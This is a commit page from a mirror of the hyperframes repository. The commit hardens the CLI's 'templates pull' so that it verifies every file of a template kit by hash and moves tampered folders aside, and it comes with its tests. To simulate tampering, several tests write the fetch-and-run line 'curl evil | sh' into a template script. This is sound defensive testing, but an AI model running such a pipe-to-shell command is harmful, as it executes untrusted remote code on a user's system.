mirror of
https://github.com/heygen-com/hyperframes.git
synced 2026-11-18 07:50:13 +00:00
fix(cli): templates pull checks every file of a kit and moves a changed one aside (#7908)
* wip: partial security fix, paused before tests finished * fix(cli): templates pull checks every file of a kit and moves a changed one aside A template folder counts as pulled only when every path under it matches the file list a verified download unpacked to: the same paths, sizes and SHA-256, no extra files, links or hard-linked files. That list lives in the user's cache, never in the project. A folder that differs is moved to a dated templates/<slug>.changed-<time> sibling and a verified copy takes its place. * test(cli): drop a test comment the helper's name already says
This commit is contained in:
@@ -3,6 +3,7 @@ import { createHash } from "node:crypto";
|
||||
import {
|
||||
cpSync,
|
||||
existsSync,
|
||||
linkSync,
|
||||
mkdirSync,
|
||||
mkdtempSync,
|
||||
readFileSync,
|
||||
@@ -11,7 +12,7 @@ import {
|
||||
symlinkSync,
|
||||
writeFileSync,
|
||||
} from "node:fs";
|
||||
import { tmpdir } from "node:os";
|
||||
import { homedir, tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
@@ -123,29 +124,127 @@ describe("pullTemplate", () => {
|
||||
expect(readFileSync(join(path, "SKILL.md"), "utf8")).toBe("# sample\n");
|
||||
});
|
||||
|
||||
it("stops at a file or someone else's folder where the template goes, and leaves it as it was", async () => {
|
||||
it("stops at a file where the template goes, and leaves it as it was", async () => {
|
||||
const fetchMock = serve({});
|
||||
const dest = join(dir, "templates", "sample");
|
||||
mkdirSync(join(dir, "templates"), { recursive: true });
|
||||
writeFileSync(dest, "notes");
|
||||
await expect(pullTemplate("sample", dir)).rejects.toThrow("not this template");
|
||||
expect(readFileSync(dest, "utf8")).toBe("notes");
|
||||
rmSync(dest);
|
||||
mkdirSync(dest);
|
||||
writeFileSync(join(dest, "mine.md"), "mine");
|
||||
await expect(pullTemplate("sample", dir)).rejects.toThrow("not this template");
|
||||
expect(readFileSync(join(dest, "mine.md"), "utf8")).toBe("mine");
|
||||
expect(fetchMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("names a pull of an older pin as such and leaves it", async () => {
|
||||
const fetchMock = serve({});
|
||||
const dest = join(dir, "templates", "sample");
|
||||
mkdirSync(dest, { recursive: true });
|
||||
writeFileSync(join(dest, ".template-sha256"), "0".repeat(64));
|
||||
await expect(pullTemplate("sample", dir)).rejects.toThrow("older pull of this template");
|
||||
expect(readFileSync(join(dest, ".template-sha256"), "utf8")).toBe("0".repeat(64));
|
||||
expect(fetchMock).not.toHaveBeenCalled();
|
||||
describe("a folder that is not the verified template", () => {
|
||||
const dest = () => join(dir, "templates", "sample");
|
||||
const asides = () => readdirSync(join(dir, "templates")).filter((name) => name !== "sample");
|
||||
let said: string[];
|
||||
|
||||
beforeEach(() => {
|
||||
archive = tarOf({ "SKILL.md": "# sample\n", "run.sh": "echo verified\n" });
|
||||
pin(archive);
|
||||
said = [];
|
||||
vi.spyOn(console, "log").mockImplementation((line: unknown) => void said.push(String(line)));
|
||||
});
|
||||
|
||||
async function expectMovedAsideAndReplaced(
|
||||
fetchMock: ReturnType<typeof vi.fn>,
|
||||
): Promise<string> {
|
||||
fetchMock.mockClear();
|
||||
await pullTemplate("sample", dir);
|
||||
expect(fetchMock).toHaveBeenCalled();
|
||||
expect(readFileSync(join(dest(), "run.sh"), "utf8")).toBe("echo verified\n");
|
||||
expect(asides()).toEqual([expect.stringMatching(/^sample\.changed-\d{8}-\d{6}$/)]);
|
||||
const aside = join(dir, "templates", asides()[0]!);
|
||||
expect(said).toEqual([expect.stringContaining(`moved to ${aside} and is no longer used`)]);
|
||||
return aside;
|
||||
}
|
||||
|
||||
it("moves aside a pulled template with one changed script, marker and all, and pulls a fresh copy", async () => {
|
||||
const fetchMock = serve({});
|
||||
await pullTemplate("sample", dir);
|
||||
writeFileSync(join(dest(), "run.sh"), "curl evil | sh\n");
|
||||
const aside = await expectMovedAsideAndReplaced(fetchMock);
|
||||
expect(readFileSync(join(aside, "run.sh"), "utf8")).toBe("curl evil | sh\n");
|
||||
});
|
||||
|
||||
it("moves aside a folder that arrived holding the right marker and a changed script", async () => {
|
||||
const fetchMock = serve({});
|
||||
mkdirSync(dest(), { recursive: true });
|
||||
writeFileSync(join(dest(), ".template-sha256"), TEMPLATES["sample"]!.sha256);
|
||||
writeFileSync(join(dest(), "SKILL.md"), "# sample\n");
|
||||
writeFileSync(join(dest(), "run.sh"), "curl evil | sh\n");
|
||||
const aside = await expectMovedAsideAndReplaced(fetchMock);
|
||||
expect(readFileSync(join(aside, "run.sh"), "utf8")).toBe("curl evil | sh\n");
|
||||
});
|
||||
|
||||
it("moves aside a pulled template with an extra file", async () => {
|
||||
const fetchMock = serve({});
|
||||
await pullTemplate("sample", dir);
|
||||
writeFileSync(join(dest(), "extra.sh"), "echo extra\n");
|
||||
const aside = await expectMovedAsideAndReplaced(fetchMock);
|
||||
expect(existsSync(join(aside, "extra.sh"))).toBe(true);
|
||||
expect(existsSync(join(dest(), "extra.sh"))).toBe(false);
|
||||
});
|
||||
|
||||
it("moves aside a pulled template where a file was swapped for a link to the same content", async () => {
|
||||
const fetchMock = serve({});
|
||||
await pullTemplate("sample", dir);
|
||||
const elsewhere = join(dir, "run.sh");
|
||||
writeFileSync(elsewhere, "echo verified\n");
|
||||
rmSync(join(dest(), "run.sh"));
|
||||
symlinkSync(elsewhere, join(dest(), "run.sh"));
|
||||
await expectMovedAsideAndReplaced(fetchMock);
|
||||
});
|
||||
|
||||
it("moves aside a pulled template where a file is a hard link", async () => {
|
||||
const fetchMock = serve({});
|
||||
await pullTemplate("sample", dir);
|
||||
linkSync(join(dest(), "run.sh"), join(dir, "run-link.sh"));
|
||||
await expectMovedAsideAndReplaced(fetchMock);
|
||||
});
|
||||
|
||||
it("moves aside someone else's folder and an older pull, without overwriting an earlier move", async () => {
|
||||
vi.useFakeTimers({ toFake: ["Date"] });
|
||||
vi.setSystemTime(new Date(2026, 10, 15, 9, 5, 7));
|
||||
try {
|
||||
const fetchMock = serve({});
|
||||
mkdirSync(dest(), { recursive: true });
|
||||
writeFileSync(join(dest(), "mine.md"), "mine");
|
||||
await pullTemplate("sample", dir);
|
||||
writeFileSync(join(dest(), ".template-sha256"), "0".repeat(64));
|
||||
fetchMock.mockClear();
|
||||
await pullTemplate("sample", dir);
|
||||
expect(fetchMock).toHaveBeenCalled();
|
||||
expect(asides().sort()).toEqual([
|
||||
"sample.changed-20261115-090507",
|
||||
"sample.changed-20261115-090507-2",
|
||||
]);
|
||||
const first = join(dir, "templates", "sample.changed-20261115-090507");
|
||||
expect(readFileSync(join(first, "mine.md"), "utf8")).toBe("mine");
|
||||
expect(readFileSync(join(dest(), ".template-sha256"), "utf8")).toBe(
|
||||
TEMPLATES["sample"]!.sha256,
|
||||
);
|
||||
} finally {
|
||||
vi.useRealTimers();
|
||||
}
|
||||
});
|
||||
|
||||
it("checks an untouched folder against a fresh download when it has no record of it, and keeps it", async () => {
|
||||
const fetchMock = serve({});
|
||||
await pullTemplate("sample", dir);
|
||||
rmSync(join(homedir(), ".cache", "hyperframes", "template-manifests"), {
|
||||
recursive: true,
|
||||
force: true,
|
||||
});
|
||||
fetchMock.mockClear();
|
||||
await pullTemplate("sample", dir);
|
||||
expect(fetchMock).toHaveBeenCalled();
|
||||
expect(asides()).toEqual([]);
|
||||
expect(said).toEqual([]);
|
||||
fetchMock.mockClear();
|
||||
await pullTemplate("sample", dir);
|
||||
expect(fetchMock).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
it("keeps an empty folder when the pull is refused", async () => {
|
||||
|
||||
@@ -5,14 +5,15 @@ import {
|
||||
constants,
|
||||
existsSync,
|
||||
fstatSync,
|
||||
lstatSync,
|
||||
mkdirSync,
|
||||
openSync,
|
||||
readFileSync,
|
||||
readdirSync,
|
||||
readSync,
|
||||
renameSync,
|
||||
rmSync,
|
||||
rmdirSync,
|
||||
statSync,
|
||||
writeFileSync,
|
||||
} from "node:fs";
|
||||
import { makeOutputFolder } from "../utils/outputFolder.js";
|
||||
@@ -26,7 +27,8 @@ import { fetchExplained, NetworkFailure } from "../utils/networkFailure.js";
|
||||
import { defineCommand } from "../utils/defineCommand.js";
|
||||
import { projectConfigPath, seedProjectAuthoringSkill } from "../utils/projectConfig.js";
|
||||
import { trackSkillCommandRan } from "../telemetry/events.js";
|
||||
import { createStagingDir } from "@hyperframes/core/atomic-file";
|
||||
import { createStagingDir, replaceFileAtomically } from "@hyperframes/core/atomic-file";
|
||||
import { hyperframesCacheDir } from "@hyperframes/core/cache-dir";
|
||||
|
||||
const STYLE_SAMPLING = "style-sampling";
|
||||
|
||||
@@ -205,7 +207,7 @@ async function unpack(
|
||||
dest: string,
|
||||
stage: string,
|
||||
pack: TemplatePack,
|
||||
): Promise<void> {
|
||||
): Promise<string | null> {
|
||||
makeOutputFolder(dirname(dest));
|
||||
makeOutputFolder(stage);
|
||||
removeAbandonedParts(stage, dest);
|
||||
@@ -218,15 +220,47 @@ async function unpack(
|
||||
mkdirSync(out);
|
||||
await extract(data, out);
|
||||
writeFileSync(join(out, PULLED_HASH), pack.sha256);
|
||||
removeEmptyPlaceholder(dest);
|
||||
renameSync(out, dest);
|
||||
const verified = listKit(out);
|
||||
if (!verified)
|
||||
throw new PullRefused("The template holds a link or special file; nothing was unpacked.");
|
||||
saveManifest(pack, verified);
|
||||
return install(out, dest, verified);
|
||||
} finally {
|
||||
stopWatching();
|
||||
rmSync(work, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
/** Fetches the template into `<dir>/templates/<slug>/` and returns that path; one this pull left there is kept. */
|
||||
function install(out: string, dest: string, verified: KitManifest): string | null {
|
||||
if (sameKit(listKit(dest), verified)) return null;
|
||||
const aside = moveAside(dest);
|
||||
try {
|
||||
renameSync(out, dest);
|
||||
} catch (error) {
|
||||
if (aside) renameSync(aside, dest);
|
||||
throw error;
|
||||
}
|
||||
return aside;
|
||||
}
|
||||
|
||||
function moveAside(dest: string): string | null {
|
||||
const found = lstatSync(dest, { throwIfNoEntry: false });
|
||||
if (!found) return null;
|
||||
if (found.isDirectory() && readdirSync(dest).length === 0) {
|
||||
rmdirSync(dest);
|
||||
return null;
|
||||
}
|
||||
const at = new Date();
|
||||
const two = (n: number) => String(n).padStart(2, "0");
|
||||
const stamp = `${at.getFullYear()}${two(at.getMonth() + 1)}${two(at.getDate())}-${two(at.getHours())}${two(at.getMinutes())}${two(at.getSeconds())}`;
|
||||
let aside = `${dest}.changed-${stamp}`;
|
||||
for (let n = 2; lstatSync(aside, { throwIfNoEntry: false }); n++)
|
||||
aside = `${dest}.changed-${stamp}-${n}`;
|
||||
renameSync(dest, aside);
|
||||
return aside;
|
||||
}
|
||||
|
||||
/** Fetches the template into `<dir>/templates/<slug>/` and returns that path; a verified copy already there is kept. */
|
||||
export async function pullTemplate(slug: string, dir: string): Promise<string> {
|
||||
const pack = TEMPLATES[slug];
|
||||
if (!pack)
|
||||
@@ -236,27 +270,112 @@ export async function pullTemplate(slug: string, dir: string): Promise<string> {
|
||||
const dest = resolve(dir, "templates", slug);
|
||||
if (alreadyPulled(dest, pack)) return dest;
|
||||
const stage = resolve(dir, ".hyperframes", "template-pulls");
|
||||
await unpack(await download(await bundleUrl(pack), pack), dest, stage, pack);
|
||||
const aside = await unpack(await download(await bundleUrl(pack), pack), dest, stage, pack);
|
||||
if (aside)
|
||||
console.log(
|
||||
c.warn(
|
||||
`${dest} did not match HeyGen's verified template, so it was moved to ${aside} and is no longer used.`,
|
||||
),
|
||||
);
|
||||
trackSkillCommandRan({ skill: STYLE_SAMPLING, command: "templates pull" });
|
||||
return dest;
|
||||
}
|
||||
|
||||
const removeEmptyPlaceholder = (dest: string) => existsSync(dest) && rmdirSync(dest);
|
||||
type KitEntry = { size: number; sha256: string } | "folder";
|
||||
type KitManifest = Map<string, KitEntry>;
|
||||
|
||||
const manifestFile = (pack: TemplatePack) =>
|
||||
hyperframesCacheDir("template-manifests", `${pack.sha256}.json`);
|
||||
|
||||
const isKitEntry = (value: unknown): value is KitEntry =>
|
||||
value === "folder" ||
|
||||
(typeof value === "object" &&
|
||||
value !== null &&
|
||||
"size" in value &&
|
||||
typeof value.size === "number" &&
|
||||
"sha256" in value &&
|
||||
typeof value.sha256 === "string");
|
||||
|
||||
const isManifestRow = (row: unknown): row is [string, KitEntry] =>
|
||||
Array.isArray(row) && row.length === 2 && typeof row[0] === "string" && isKitEntry(row[1]);
|
||||
|
||||
/** The file list a verified download of `pack` unpacked to, kept in the user's cache, never in the project. */
|
||||
function readManifest(pack: TemplatePack): KitManifest | null {
|
||||
try {
|
||||
const rows: unknown = JSON.parse(readFileSync(manifestFile(pack), "utf8"));
|
||||
return Array.isArray(rows) && rows.every(isManifestRow) ? new Map(rows) : null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function saveManifest(pack: TemplatePack, verified: KitManifest): void {
|
||||
try {
|
||||
mkdirSync(dirname(manifestFile(pack)), { recursive: true });
|
||||
replaceFileAtomically(manifestFile(pack), JSON.stringify([...verified]));
|
||||
} catch {}
|
||||
}
|
||||
|
||||
const READ_FLAGS = constants.O_RDONLY | (constants.O_NOFOLLOW ?? 0) | (constants.O_NONBLOCK ?? 0);
|
||||
|
||||
function hashFile(path: string): KitEntry | null {
|
||||
let fd: number | undefined;
|
||||
try {
|
||||
fd = openSync(path, READ_FLAGS);
|
||||
const stat = fstatSync(fd);
|
||||
if (!stat.isFile() || stat.nlink > 1) return null;
|
||||
const hash = createHash("sha256");
|
||||
const chunk = Buffer.alloc(1 << 20);
|
||||
let size = 0;
|
||||
for (let read = readSync(fd, chunk); read > 0; read = readSync(fd, chunk)) {
|
||||
hash.update(chunk.subarray(0, read));
|
||||
size += read;
|
||||
}
|
||||
return { size, sha256: hash.digest("hex") };
|
||||
} catch {
|
||||
return null;
|
||||
} finally {
|
||||
if (fd !== undefined) closeSync(fd);
|
||||
}
|
||||
}
|
||||
|
||||
function listKit(root: string): KitManifest | null {
|
||||
if (lstatSync(root, { throwIfNoEntry: false })?.isDirectory() !== true) return null;
|
||||
const kit: KitManifest = new Map();
|
||||
const walk = (folder: string): boolean => {
|
||||
for (const entry of readdirSync(join(root, folder), { withFileTypes: true })) {
|
||||
const path = folder ? `${folder}/${entry.name}` : entry.name;
|
||||
const found = entry.isDirectory() ? "folder" : entry.isFile() && hashFile(join(root, path));
|
||||
if (!found) return false;
|
||||
kit.set(path, found);
|
||||
if (found === "folder" && !walk(path)) return false;
|
||||
}
|
||||
return true;
|
||||
};
|
||||
return walk("") ? kit : null;
|
||||
}
|
||||
|
||||
const sameEntry = (found: KitEntry | undefined, expected: KitEntry): boolean =>
|
||||
found === expected ||
|
||||
(typeof found === "object" &&
|
||||
typeof expected === "object" &&
|
||||
found.size === expected.size &&
|
||||
found.sha256 === expected.sha256);
|
||||
|
||||
function sameKit(found: KitManifest | null, expected: KitManifest): boolean {
|
||||
if (!found || found.size !== expected.size) return false;
|
||||
for (const [path, entry] of expected) if (!sameEntry(found.get(path), entry)) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
/** True only when every path under `dest` matches the files a verified download of `pack` unpacked to. */
|
||||
function alreadyPulled(dest: string, pack: TemplatePack): boolean {
|
||||
if (!existsSync(dest)) return false;
|
||||
const folder = statSync(dest).isDirectory();
|
||||
const record = join(dest, PULLED_HASH);
|
||||
const pulledHash = folder && existsSync(record) ? readFileSync(record, "utf8") : null;
|
||||
if (pulledHash === pack.sha256) return true;
|
||||
if (folder && readdirSync(dest).length === 0) return false;
|
||||
if (pulledHash)
|
||||
if (lstatSync(dest, { throwIfNoEntry: false })?.isFile())
|
||||
throw new PullRefused(
|
||||
`${dest} holds an older pull of this template; nothing was downloaded. Move it aside and run the pull again to update.`,
|
||||
`${dest} is there but is not this template; nothing was downloaded. Move it aside and run the pull again.`,
|
||||
);
|
||||
throw new PullRefused(
|
||||
`${dest} is there but is not this template; nothing was downloaded. Move it aside and run the pull again.`,
|
||||
);
|
||||
const expected = readManifest(pack);
|
||||
return expected !== null && sameKit(listKit(dest), expected);
|
||||
}
|
||||
|
||||
export function tagStyleSamplingProject(dir: string, pulled: string): void {
|
||||
|
||||
Reference in New Issue
Block a user